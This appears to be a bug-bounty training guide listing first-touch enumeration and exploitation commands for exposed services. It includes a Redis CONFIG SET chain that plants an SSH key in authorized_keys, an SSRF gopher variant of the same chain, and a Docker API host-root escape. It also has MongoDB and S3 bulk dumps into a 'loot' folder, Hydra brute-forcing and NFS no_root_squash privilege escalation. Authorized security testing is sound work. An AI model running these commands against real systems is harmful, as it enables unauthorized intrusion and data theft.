Services checklist — first touch on any target (SSH, FTP, SMB, NFS, Redis, Mongo, RDP)

Quick answer

Before hunting web bugs, map the target's exposed services with a consistent first touch. The methodology: nmap top-1000 + version detection → service-specific probes (SSH banner, SMB null session, NFS showmount, Redis INFO, Mongo isMaster) → default credentials → known misconfigurations. Typical bounty for a Redis without auth and CONFIG SET enabled: €2000-€8000 if it touches production infra.

The first touch — nmap correctly

Before touching anything, scan well. The difference between a random nmap -p- and a structured scan is 80% of the work.

# Fast top 1000 + version detect
nmap -sV -sC -T4 --top-ports 1000 -oN quick.txt target.com

# Full port — whenever the target allows it
nmap -p- -sV -sC -T4 -oN full.txt target.com

# UDP top 100 (slow but sometimes gold)
sudo nmap -sU --top-ports 100 -T4 -oN udp.txt target.com

[!tip] Fast banner grabbing nc -nv target.com 22 or curl -v telnet://target.com:6379 gives you the banner + version without waiting for the full scan. Useful when you already have a candidate IP from recon.

Services table — first touch

SSH — beyond the banner

# Banner + supported algorithms
nmap -p22 --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods target.com

# Brute-force only if the program's policy allows it (rare)
hydra -L users.txt -P pass.txt ssh://target -t 4

Things to report:

• ssh-rsa with MD5 as the signature algorithm (deprecated since OpenSSH 8.8).
• Password auth enabled on production boxes.
• A banner that leaks the exact version vulnerable to a known CVE.
• Erlang/OTP banner → potentially CVE-2025-32433 (pre-auth RCE).

SMB / NFS — the lateral classics

# SMB null session (no password)
smbclient -L //target/ -N
enum4linux-ng -a target

# List shares and mount
smbmap -H target
mount -t cifs //target/share /mnt -o user=,password=

# NFS exports
showmount -e target
mount -t nfs target:/export /mnt

[!warning] no_root_squash If showmount -e lists an export without root_squash, you mount as local root and write files with UID 0 → instant privesc on the server. Reportable as High in any bug bounty program with internal infra in scope.

Redis without authentication — the classic that pays

Redis is still the #1 target for "oops, I left it open" in 2026.

redis-cli -h target.com
> INFO
> CONFIG GET *
> KEYS *

If CONFIG SET is not disabled:

# Write an SSH key as the redis-server user (typical)
redis-cli -h target FLUSHALL
redis-cli -h target SET x "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
redis-cli -h target CONFIG SET dir /var/lib/redis/.ssh/
redis-cli -h target CONFIG SET dbfilename "authorized_keys"
redis-cli -h target SAVE

If it's exposed only to localhost but there's an SSRF in the web app → gopher://127.0.0.1:6379/_FLUSHALL%0d%0a... executes the same commands. Real bounty €3000-€8000.

MongoDB without auth — full dump

# Connection without a password
mongosh "mongodb://target.com:27017"
> show dbs
> use admin
> db.users.find().pretty()

# Full dump
mongodump --host target.com --out ./loot/

Always report: the count of accessible documents, the types of sensitive data (emails, hashes, PII), the Mongo version (< 3.6 doesn't require auth by default in many deployments).

Exposed frameworks — paths always worth trying

# Concat of typical paths per framework
ffuf -u https://target.com/FUZZ -w framework-paths.txt -mc 200,401,403

Exposed Docker API

# Quick check
curl http://target:2375/version

# List containers
curl http://target:2375/containers/json

# Container escape — mount the host root
docker -H tcp://target:2375 run -v /:/host -it alpine chroot /host /bin/bash

This is an instant Critical. The Docker API on port 2375 without TLS = host root.

Cloud storage — buckets are still gold

# AWS S3
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp s3://target-bucket/ ./loot/ --recursive --no-sign-request

# GCS
curl https://storage.googleapis.com/target-bucket/

# Azure
curl "https://target.blob.core.windows.net/?comp=list"

Naming guess: target, target-assets, target-prod, target-backup, target-dev, target-uploads, target-static, target-staging.

Hunting checklist

• nmap -sV -sC --top-ports 1000 before touching anything
• nmap -p- when the program allows full scans
• Manual banner grab with nc/curl on every weird port
• SMB null session: enum4linux-ng -a target
• NFS exports: showmount -e target → look for no_root_squash
• Redis: redis-cli INFO and check CONFIG GET dir
• Mongo: mongosh without a password, show dbs
• Elasticsearch: curl :9200/_cat/indices?v
• Docker API: curl :2375/version → if it responds, Critical
• Cloud buckets: names derived from the domain + S3Scanner
• Frameworks: /actuator/env, /_profiler, /console, /telescope
• Default creds on every admin panel found (Jenkins, RabbitMQ, Tomcat)

Related labs

Practice service enumeration on real infra with misconfigurations reproduced from real bug bounties in the Services Pentesting labs.